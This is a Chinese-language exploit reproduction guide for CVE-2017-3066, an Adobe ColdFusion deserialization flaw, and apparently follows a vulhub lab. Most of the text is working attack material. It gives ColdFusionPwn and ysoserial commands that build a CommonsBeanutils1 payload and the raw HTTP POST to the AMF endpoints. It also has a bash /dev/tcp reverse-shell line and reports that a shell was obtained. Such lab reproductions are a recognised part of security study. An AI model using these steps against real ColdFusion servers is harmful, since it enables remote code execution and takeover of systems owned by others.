(CVE-2017-3066)Adobe ColdFusion 反序列化漏洞

一、漏洞简介

二、漏洞影响

Adobe ColdFusion (2016 release) Update 3及之前的版本,

ColdFusion 11 Update 11及之前的版本,

ColdFusion 10 Update 22及之前的版本。

三、复现过程

使用ColdFusionPwn工具来生成POC。点击下载ColdFusionPwn

Usage

java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-SNAPSHOT.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner [-s|-e] [payload type] '[command]' [outfile]

点击下载ysoserial【注意】下载的jar包可能因为时间不同,而更新,包名也就不同。注意将命令中的包名,替换为你下载时候的名字

java -cp ColdFusionPwn.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/CVE-2017-3066_is_success' poc.ser

生成poc.ser文件后,将POC作为数据包body发送给http://your-ip:8500/flex2gateway/amf,Content-Type为application/x-amf路径不唯一,目前已收集到的为以下两种路径:****/flex2gateway/amf****/messagebroker/amf

POST /flex2gateway/amf HTTP/1.1
Host: your-ip:8500
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-amf
Content-Length: 2853

[...poc...]

关于发送的内容编码问题

由于编码问题,如果直接从Notepad++/Notepad里面复制粘贴为body部分,是不成功的,即使返回的状态码是200

正确发送方式为:

右击选择Paste From File,上传poc.cer文件

再到Raw界面添加HTTP头部,如果成功,并且打算以后还需要用的话,右击选择Copy to File保存

进入容器中,发现/tmp/success已成功创建:

将POC改成反弹命令,成功拿到shell:

补充一下反弹shell的命令,可以通过http://www.jackson-t.ca/runtime-exec-payloads.html在线转换

bash -i >& /dev/tcp/ip/port 0>&1

参考链接

https://vulhub.org/#/environments/coldfusion/CVE-2017-3066/